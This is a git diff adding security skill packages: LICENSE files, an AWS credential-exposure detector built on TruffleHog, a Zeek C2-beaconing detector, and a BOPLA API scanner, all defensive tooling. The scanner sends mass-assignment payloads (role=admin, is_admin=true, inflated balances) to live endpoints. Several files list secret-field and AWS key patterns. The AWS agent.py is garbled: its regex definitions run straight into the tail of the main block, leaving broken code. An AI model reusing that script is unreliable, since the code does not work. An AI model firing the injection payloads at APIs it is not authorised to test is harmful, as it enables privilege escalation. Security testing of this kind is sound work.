b/skills/detecting-arp-poisoning-in-network-traffic/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-arp-poisoning-in-network-traffic/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-attacks-on-historian-servers/LICENSE b/skills/detecting-attacks-on-historian-servers/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-attacks-on-historian-servers/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-attacks-on-scada-systems/LICENSE b/skills/detecting-attacks-on-scada-systems/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-attacks-on-scada-systems/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-aws-credential-exposure-with-trufflehog/LICENSE b/skills/detecting-aws-credential-exposure-with-trufflehog/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-aws-credential-exposure-with-trufflehog/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-aws-credential-exposure-with-trufflehog/references/api-reference.md b/skills/detecting-aws-credential-exposure-with-trufflehog/references/api-reference.md new file mode 100644 index 00000000..f91e2faa --- /dev/null +++ b/skills/detecting-aws-credential-exposure-with-trufflehog/references/api-reference.md @@ -0,0 +1,88 @@ +# AWS Credential Exposure Detection API Reference + +## TruffleHog CLI + +```bash +# Scan local git repo +trufflehog git file:///path/to/repo --json + +# Scan GitHub organization +trufflehog github --org my-org --token $GITHUB_TOKEN --json + +# Scan GitHub repo +trufflehog git https://github.com/org/repo.git --json + +# Scan filesystem (non-git) +trufflehog filesystem /path/to/dir --json + +# Scan S3 bucket +trufflehog s3 --bucket my-bucket --json + +# Only show verified credentials +trufflehog git file:///repo --only-verified --json +``` + +## git-secrets CLI + +```bash +# Install hooks in repo +git secrets --install +git secrets --register-aws + +# Scan repo history +git secrets --scan-history + +# Scan specific file +git secrets --scan /path/to/file + +# Add custom pattern +git secrets --add 'PRIVATE KEY' +git secrets --add-provider -- cat /path/to/patterns.txt +``` + +## AWS IAM CLI - Key Management + +```bash +# Check key last used +aws iam get-access-key-last-used --access-key-id AKIAXXXXXXXXXXXXXXXX + +# List access keys for user +aws iam list-access-keys --user-name jsmith + +# Deactivate exposed key +aws iam update-access-key --access-key-id AKIAXXXXXXXXXXXXXXXX \ + --user-name jsmith --status Inactive + +# Delete key +aws iam delete-access-key --access-key-id AKIAXXXXXXXXXXXXXXXX \ + --user-name jsmith + +# Create new key (after rotation) +aws iam create-access-key --user-name jsmith +``` + +## AWS Access Key Regex Patterns + +``` +Access Key ID: AKIA[A-Z0-9]{16} +Temp Key ID: ASIA[A-Z0-9]{16} +Secret Key: [A-Za-z0-9/+=]{40} +``` + +## GuardDuty Credential Findings + +| Finding Type | Description | +|-------------|-------------| +| `UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS` | Instance creds used outside AWS | +| `UnauthorizedAccess:IAMUser/ConsoleLoginSuccess.B` | Console login from unusual IP | +| `Recon:IAMUser/MaliciousIPCaller.Custom` | API calls from threat intel IPs | + +## AWS CloudTrail - Credential Abuse Queries (Athena) + +```sql +SELECT eventtime, useridentity.accesskeyid, sourceipaddress, eventname +FROM cloudtrail_logs +WHERE useridentity.accesskeyid = 'AKIAXXXXXXXXXXXXXXXX' +ORDER BY eventtime DESC +LIMIT 100; +``` diff --git a/skills/detecting-aws-credential-exposure-with-trufflehog/scripts/agent.py b/skills/detecting-aws-credential-exposure-with-trufflehog/scripts/agent.py new file mode 100644 index 00000000..319b11e6 --- /dev/null +++ b/skills/detecting-aws-credential-exposure-with-trufflehog/scripts/agent.py @@ -0,0 +1,202 @@ +#!/usr/bin/env python3 +"""AWS credential exposure detection agent using TruffleHog and AWS APIs.""" + +import json +import os +import re +import subprocess +import sys +from datetime import datetime +from pathlib import Path + + +AWS_KEY_PATTERN = re.compile(r'(?:AKIA|ASIA)[A-Z0-9]{16}') +AWS_SECRET_PATTERN = re.compile(r'(? 1 else "help" + if action == "scan" and len(sys.argv) > 2: + print(json.dumps(generate_report(sys.argv[2]), indent=2, default=str)) + elif action == "scan-org" and len(sys.argv) > 2: + print(json.dumps(scan_github_org(sys.argv[2]), indent=2, default=str)) + elif action == "check-key" and len(sys.argv) > 2: + print(json.dumps(check_aws_key_status(sys.argv[2]), indent=2)) + elif action == "deactivate" and len(sys.argv) > 3: + print(json.dumps(deactivate_exposed_key(sys.argv[2], sys.argv[3]), indent=2)) + elif action == "git-secrets": + print(json.dumps(setup_git_secrets(), indent=2)) + else: + print("Usage: agent.py [scan |scan-org |check-key |deactivate |git-secrets]") diff --git a/skills/detecting-aws-guardduty-findings-automation/LICENSE b/skills/detecting-aws-guardduty-findings-automation/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-aws-guardduty-findings-automation/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-azure-service-principal-abuse/LICENSE b/skills/detecting-azure-service-principal-abuse/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-azure-service-principal-abuse/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-beaconing-patterns-with-zeek/LICENSE b/skills/detecting-beaconing-patterns-with-zeek/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-beaconing-patterns-with-zeek/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-beaconing-patterns-with-zeek/SKILL.md b/skills/detecting-beaconing-patterns-with-zeek/SKILL.md new file mode 100644 index 00000000..7945520d --- /dev/null +++ b/skills/detecting-beaconing-patterns-with-zeek/SKILL.md @@ -0,0 +1,48 @@ +--- +name: detecting-beaconing-patterns-with-zeek +description: > + Performs statistical analysis of Zeek conn.log connection intervals to detect C2 + beaconing patterns. Uses the ZAT library to load Zeek logs into Pandas DataFrames, + calculates inter-arrival time standard deviation, and flags periodic connections + with low jitter. Use when hunting for command-and-control callbacks in network data. +--- + +# Detecting Beaconing Patterns with Zeek + +## Instructions + +Load Zeek conn.log data using ZAT (Zeek Analysis Tools), group connections by +source/destination pairs, and compute timing statistics to identify beaconing. + +```python +from zat.log_to_dataframe import LogToDataFrame +import numpy as np + +log_to_df = LogToDataFrame() +conn_df = log_to_df.create_dataframe('/path/to/conn.log') + +# Group by src/dst pair and calculate inter-arrival time +for (src, dst), group in conn_df.groupby(['id.orig_h', 'id.resp_h']): + times = group['ts'].sort_values() + intervals = times.diff().dt.total_seconds().dropna() + if len(intervals) > 10: + std_dev = np.std(intervals) + mean_interval = np.mean(intervals) + # Low std_dev relative to mean = likely beaconing +``` + +Key analysis steps: +1. Parse Zeek conn.log into DataFrame with ZAT LogToDataFrame +2. Group connections by source IP and destination IP pairs +3. Calculate inter-arrival time intervals between consecutive connections +4. Compute standard deviation and coefficient of variation +5. Flag pairs with low coefficient of variation as potential beacons + +## Examples + +```python +from zat.log_to_dataframe import LogToDataFrame +log_to_df = LogToDataFrame() +df = log_to_df.create_dataframe('conn.log') +print(df[['id.orig_h', 'id.resp_h', 'ts', 'duration']].head()) +``` diff --git a/skills/detecting-beaconing-patterns-with-zeek/references/api-reference.md b/skills/detecting-beaconing-patterns-with-zeek/references/api-reference.md new file mode 100644 index 00000000..41680397 --- /dev/null +++ b/skills/detecting-beaconing-patterns-with-zeek/references/api-reference.md @@ -0,0 +1,66 @@ +# API Reference: Detecting Beaconing Patterns with Zeek + +## ZAT (Zeek Analysis Tools) + +```python +from zat.log_to_dataframe import LogToDataFrame +from zat import zeek_log_reader +from zat.utils import dataframe_to_matrix + +# Load conn.log into DataFrame +log_to_df = LogToDataFrame() +conn_df = log_to_df.create_dataframe('/path/to/conn.log') + +# Select specific columns +conn_df = log_to_df.create_dataframe('conn.log', + usecols=['id.orig_h', 'id.resp_h', 'id.resp_p', 'ts', 'duration']) + +# Read rows as dicts (streaming) +reader = zeek_log_reader.ZeekLogReader('conn.log') +for row in reader.readrows(): + print(row) + +# Tail mode (live monitoring) +reader = zeek_log_reader.ZeekLogReader('conn.log', tail=True) +for row in reader.readrows(): + process(row) + +# Convert to matrix for ML +to_matrix = dataframe_to_matrix.DataFrameToMatrix() +matrix = to_matrix.fit_transform(conn_df[features]) +``` + +## Beaconing Detection Math + +```python +import numpy as np + +intervals = times.diff().dt.total_seconds().dropna().values +std_dev = np.std(intervals) +mean_val = np.mean(intervals) +cv = std_dev / mean_val # Coefficient of Variation +# cv < 0.3 = likely beacon (low jitter relative to interval) +``` + +## Key Zeek Log Fields + +| Log | Key Fields | +|-----|-----------| +| conn.log | `id.orig_h`, `id.resp_h`, `id.resp_p`, `ts`, `duration`, `orig_bytes` | +| dns.log | `id.orig_h`, `query`, `qtype_name`, `answers`, `ts` | +| ssl.log | `id.orig_h`, `server_name`, `ja3`, `ja3s`, `ts` | + +## Anomaly Detection with ZAT + scikit-learn + +```python +from sklearn.ensemble import IsolationForest +odd_clf = IsolationForest(contamination=0.35) +odd_clf.fit(zeek_matrix) +anomalies = conn_df[odd_clf.predict(zeek_matrix) == -1] +``` + +### References + +- ZAT: https://github.com/SuperCowPowers/zat +- ZAT examples: https://supercowpowers.github.io/zat/examples.html +- zat on PyPI: https://pypi.org/project/zat/ diff --git a/skills/detecting-beaconing-patterns-with-zeek/scripts/agent.py b/skills/detecting-beaconing-patterns-with-zeek/scripts/agent.py new file mode 100644 index 00000000..40018400 --- /dev/null +++ b/skills/detecting-beaconing-patterns-with-zeek/scripts/agent.py @@ -0,0 +1,173 @@ +#!/usr/bin/env python3 +"""Agent for detecting C2 beaconing patterns in Zeek conn.log data.""" + +import os +import json +import argparse +from datetime import datetime + +import numpy as np +import pandas as pd +from zat.log_to_dataframe import LogToDataFrame +from zat import zeek_log_reader + + +def load_conn_log(log_path): + """Load Zeek conn.log into a Pandas DataFrame using ZAT.""" + log_to_df = LogToDataFrame() + df = log_to_df.create_dataframe(log_path) + return df + + +def calculate_beacon_score(intervals): + """Calculate a beacon score based on interval regularity.""" + if len(intervals) < 5: + return 0.0 + std_dev = np.std(intervals) + mean_val = np.mean(intervals) + if mean_val == 0: + return 0.0 + cv = std_dev / mean_val + score = max(0, 1.0 - cv) * 100 + return round(score, 2) + + +def detect_beaconing(conn_df, min_connections=10, max_cv=0.3): + """Detect beaconing by analyzing connection interval regularity.""" + conn_df = conn_df.sort_values("ts") + beacons = [] + grouped = conn_df.groupby(["id.orig_h", "id.resp_h", "id.resp_p"]) + for (src, dst, port), group in grouped: + if len(group) < min_connections: + continue + times = group["ts"].sort_values() + intervals = times.diff().dt.total_seconds().dropna().values + if len(intervals) < 5: + continue + std_dev = float(np.std(intervals)) + mean_interval = float(np.mean(intervals)) + if mean_interval == 0: + continue + cv = std_dev / mean_interval + beacon_score = calculate_beacon_score(intervals) + if cv <= max_cv: + beacons.append({ + "src_ip": src, + "dst_ip": dst, + "dst_port": int(port) if not pd.isna(port) else 0, + "connection_count": len(group), + "mean_interval_sec": round(mean_interval, 2), + "std_dev_sec": round(std_dev, 2), + "coefficient_of_variation": round(cv, 4), + "beacon_score": beacon_score, + "first_seen": str(times.iloc[0]), + "last_seen": str(times.iloc[-1]), + }) + return sorted(beacons, key=lambda x: x["beacon_score"], reverse=True) + + +def detect_jitter_beaconing(conn_df, base_interval=60, jitter_pct=0.2, min_conns=10): + """Detect beaconing with expected interval and jitter tolerance.""" + conn_df = conn_df.sort_values("ts") + matches = [] + grouped = conn_df.groupby(["id.orig_h", "id.resp_h"]) + for (src, dst), group in grouped: + if len(group) < min_conns: + continue + times = group["ts"].sort_values() + intervals = times.diff().dt.total_seconds().dropna().values + lower = base_interval * (1 - jitter_pct) + upper = base_interval * (1 + jitter_pct) + matching = np.sum((intervals >= lower) & (intervals <= upper)) + match_pct = matching / len(intervals) + if match_pct > 0.7: + matches.append({ + "src_ip": src, + "dst_ip": dst, + "connections": len(group), + "matching_intervals": int(matching), + "match_percentage": round(match_pct * 100, 1), + "expected_interval": base_interval, + }) + return matches + + +def analyze_dns_beaconing(dns_log_path, min_queries=20, max_cv=0.25): + """Analyze Zeek dns.log for DNS-based beaconing patterns.""" + log_to_df = LogToDataFrame() + dns_df = log_to_df.create_dataframe(dns_log_path) + dns_df = dns_df.sort_values("ts") + beacons = [] + grouped = dns_df.groupby(["id.orig_h", "query"]) + for (src, query), group in grouped: + if len(group) < min_queries: + continue + times = group["ts"].sort_values() + intervals = times.diff().dt.total_seconds().dropna().values + if len(intervals) < 5: + continue + std_dev = float(np.std(intervals)) + mean_val = float(np.mean(intervals)) + if mean_val == 0: + continue + cv = std_dev / mean_val + if cv <= max_cv: + beacons.append({ + "src_ip": src, + "query": query, + "query_count": len(group), + "mean_interval_sec": round(mean_val, 2), + "std_dev_sec": round(std_dev, 2), + "cv": round(cv, 4), + "beacon_score": calculate_beacon_score(intervals), + }) + return sorted(beacons, key=lambda x: x["beacon_score"], reverse=True) + + +def filter_whitelisted(beacons, whitelist_domains=None): + """Remove known-good destinations from beacon results.""" + if not whitelist_domains: + whitelist_domains = ["microsoft.com", "google.com", "amazonaws.com", + "cloudflare.com", "akamai.net"] + filtered = [] + for b in beacons: + dst = b.get("dst_ip", "") or b.get("query", "") + if not any(w in dst for w in whitelist_domains): + filtered.append(b) + return filtered + + +def main(): + parser = argparse.ArgumentParser(description="Zeek Beaconing Detection Agent") + parser.add_argument("--conn-log", help="Path to Zeek conn.log") + parser.add_argument("--dns-log", help="Path to Zeek dns.log") + parser.add_argument("--min-connections", type=int, default=10) + parser.add_argument("--max-cv", type=float, default=0.3) + parser.add_argument("--output", default="beacon_report.json") + parser.add_argument("--action", choices=[ + "conn_beacon", "dns_beacon", "full_hunt" + ], default="full_hunt") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}} + + if args.action in ("conn_beacon", "full_hunt") and args.conn_log: + conn_df = load_conn_log(args.conn_log) + beacons = detect_beaconing(conn_df, args.min_connections, args.max_cv) + beacons = filter_whitelisted(beacons) + report["findings"]["conn_beacons"] = beacons + print(f"[+] Connection beacons detected: {len(beacons)}") + + if args.action in ("dns_beacon", "full_hunt") and args.dns_log: + dns_beacons = analyze_dns_beaconing(args.dns_log, args.min_connections) + dns_beacons = filter_whitelisted(dns_beacons) + report["findings"]["dns_beacons"] = dns_beacons + print(f"[+] DNS beacons detected: {len(dns_beacons)}") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-broken-object-property-level-authorization/LICENSE b/skills/detecting-broken-object-property-level-authorization/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-broken-object-property-level-authorization/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-broken-object-property-level-authorization/references/api-reference.md b/skills/detecting-broken-object-property-level-authorization/references/api-reference.md new file mode 100644 index 00000000..0f6d712c --- /dev/null +++ b/skills/detecting-broken-object-property-level-authorization/references/api-reference.md @@ -0,0 +1,76 @@ +# API Reference: Detecting Broken Object Property Level Authorization + +## OWASP API3:2023 Classification + +| Category | Description | +|----------|-------------| +| Excessive Data Exposure | API returns more properties than client needs | +| Mass Assignment | API accepts more properties than intended | +| CWE-213 | Exposure of Sensitive Information Due to Incompatible Policies | +| CWE-915 | Improperly Controlled Modification of Dynamically-Determined Object Attributes | + +## Python requests Library + +```python +import requests + +# GET - test for excessive exposure +resp = requests.get(url, headers={"Authorization": f"Bearer {token}"}, timeout=10) +resp.status_code # 200, 401, 403 +resp.json() # parsed response body + +# PUT - test for mass assignment +resp = requests.put(url, json={"role": "admin"}, headers=headers, timeout=10) + +# PATCH - test for partial mass assignment +resp = requests.patch(url, json={"is_admin": True}, headers=headers, timeout=10) +``` + +## Sensitive Field Patterns + +| Severity | Fields | +|----------|--------| +| Critical | password, password_hash, secret, token, api_key, private_key | +| High | ssn, credit_card, card_number, cvv, bank_account | +| Medium | salary, role, permissions, is_admin, session_id | +| Low | phone, address, date_of_birth, gender | + +## Mass Assignment Test Payloads + +```json +{"role": "admin"} +{"is_admin": true} +{"is_verified": true} +{"account_type": "premium"} +{"discount_rate": 100} +{"permissions": ["admin", "write", "delete"]} +``` + +## Burp Suite Extensions + +``` +# Autorize - test authorization across roles +# Param Miner - discover hidden parameters +# JSON Beautifier - inspect response properties +``` + +## CLI Usage + +```bash +python agent.py --base-url https://api.example.com \ + --endpoint /api/v1/users/123 \ + --token "eyJhbGciOiJIUzI1NiJ9..." \ + --expected-fields id username name email \ + --test both --method PUT +``` + +## Mitigation Patterns + +```python +# Allowlist serialization (Django REST Framework) +class UserSerializer(serializers.ModelSerializer): + class Meta: + model = User + fields = ['id', 'username', 'name'] # explicit allowlist + read_only_fields = ['id', 'role', 'is_admin'] +``` diff --git a/skills/detecting-broken-object-property-level-authorization/scripts/agent.py b/skills/detecting-broken-object-property-level-authorization/scripts/agent.py new file mode 100644 index 00000000..281f526a --- /dev/null +++ b/skills/detecting-broken-object-property-level-authorization/scripts/agent.py @@ -0,0 +1,159 @@ +#!/usr/bin/env python3 +"""BOPLA vulnerability scanner for OWASP API3:2023 Broken Object Property Level Authorization. + +Tests APIs for excessive data exposure and mass assignment vulnerabilities +by comparing responses against expected field sets and injecting extra properties. +""" + +import argparse +import json +import sys +from copy import deepcopy + +try: + import requests +except ImportError: + print("Install requests: pip install requests") + sys.exit(1) + +SENSITIVE_PATTERNS = { + "critical": ["password", "password_hash", "secret", "token", "api_key", + "private_key", "access_token", "refresh_token"], + "high": ["ssn", "social_security", "tax_id", "credit_card", "card_number", + "cvv", "bank_account", "routing_number"], + "medium": ["salary", "income", "internal_notes", "role", "permissions", + "is_admin", "is_superuser", "session_id", "ip_address"], + "low": ["phone", "address", "date_of_birth", "dob", "gender"] +} + +MASS_ASSIGNMENT_PAYLOADS = [ + ("role", "admin"), ("is_admin", True), ("is_verified", True), + ("email_verified", True), ("account_type", "premium"), + ("discount_rate", 100), ("permissions", ["admin", "write", "delete"]), + ("account_balance", 999999), ("subscription_tier", "enterprise"), +] + + +def classify_field(field_name): + lower = field_name.lower().split(".")[-1] + for severity, patterns in SENSITIVE_PATTERNS.items(): + for p in patterns: + if p in lower: + return severity.upper() + return None + + +def flatten_keys(obj, prefix=""): + keys = [] + for k, v in obj.items(): + full = f"{prefix}.{k}" if prefix else k + keys.append(full) + if isinstance(v, dict): + keys.extend(flatten_keys(v, full)) + return keys + + +def test_excessive_exposure(base_url, endpoint, expected_fields, headers): + findings = [] + url = f"{base_url.rstrip('/')}{endpoint}" + try: + resp = requests.get(url, headers=headers, timeout=10) + if resp.status_code != 200: + return findings + data = resp.json() + objects = data if isinstance(data, list) else [data] + if isinstance(data, dict) and "data" in data: + inner = data["data"] + objects = inner if isinstance(inner, list) else [inner] + for obj in objects[:5]: + if not isinstance(obj, dict): + continue + response_fields = set(flatten_keys(obj)) + unexpected = response_fields - set(expected_fields) + for field in unexpected: + sev = classify_field(field) + if sev: + findings.append({ + "endpoint": endpoint, "method": "GET", + "type": "excessive_exposure", "severity": sev, + "property": field, + "detail": f"Unexpected sensitive field '{field}' in response" + }) + except (requests.RequestException, json.JSONDecodeError) as e: + findings.append({"error": str(e)}) + return findings + + +def test_mass_assignment(base_url, endpoint, headers, method="PUT"): + findings = [] + url = f"{base_url.rstrip('/')}{endpoint}" + try: + original = requests.get(url, headers=headers, timeout=10) + original_data = original.json() if original.status_code == 200 else {} + except (requests.RequestException, json.JSONDecodeError): + original_data = {} + + for field_name, injected_value in MASS_ASSIGNMENT_PAYLOADS: + if original_data.get(field_name) == injected_value: + continue + test_data = deepcopy(original_data) + test_data[field_name] = injected_value + try: + h = {**headers, "Content-Type": "application/json"} + if method == "PUT": + resp = requests.put(url, json=test_data, headers=h, timeout=10) + elif method == "PATCH": + resp = requests.patch(url, json={field_name: injected_value}, headers=h, timeout=10) + else: + resp = requests.post(url, json=test_data, headers=h, timeout=10) + if resp.status_code in (200, 201, 204): + verify = requests.get(url, headers=headers, timeout=10) + if verify.status_code == 200 and verify.json().get(field_name) == injected_value: + sev = "CRITICAL" if field_name in ("role", "is_admin", "permissions") else "HIGH" + findings.append({ + "endpoint": endpoint, "method": method, + "type": "mass_assignment", "severity": sev, + "property": field_name, + "detail": f"Injected {field_name}={injected_value} accepted" + }) + if field_name in original_data: + requests.patch(url, json={field_name: original_data[field_name]}, + headers=h, timeout=10) + except requests.RequestException: + continue + return findings + + +def main(): + parser = argparse.ArgumentParser(description="BOPLA Vulnerability Scanner (OWASP API3:2023)") + parser.add_argument("--base-url", required=True, help="API base URL") + parser.add_argument("--endpoint", required=True, help="Endpoint to test (e.g. /api/v1/users/1)") + parser.add_argument("--token", help="Bearer token for Authorization header") + parser.add_argument("--expected-fields", nargs="+", default=[], help="Expected response fields") + parser.add_argument("--test", choices=["exposure", "mass_assignment", "both"], default="both") + parser.add_argument("--method", choices=["PUT", "PATCH", "POST"], default="PUT") + args = parser.parse_args() + + headers = {} + if args.token: + headers["Authorization"] = f"Bearer {args.token}" + + results = {"endpoint": args.endpoint, "findings": []} + if args.test in ("exposure", "both"): + results["findings"].extend( + test_excessive_exposure(args.base_url, args.endpoint, args.expected_fields, headers)) + if args.test in ("mass_assignment", "both"): + results["findings"].extend( + test_mass_assignment(args.base_url, args.endpoint, headers, args.method)) + + results["total_findings"] = len(results["findings"]) + results["by_severity"] = {} + for f in results["findings"]: + sev = 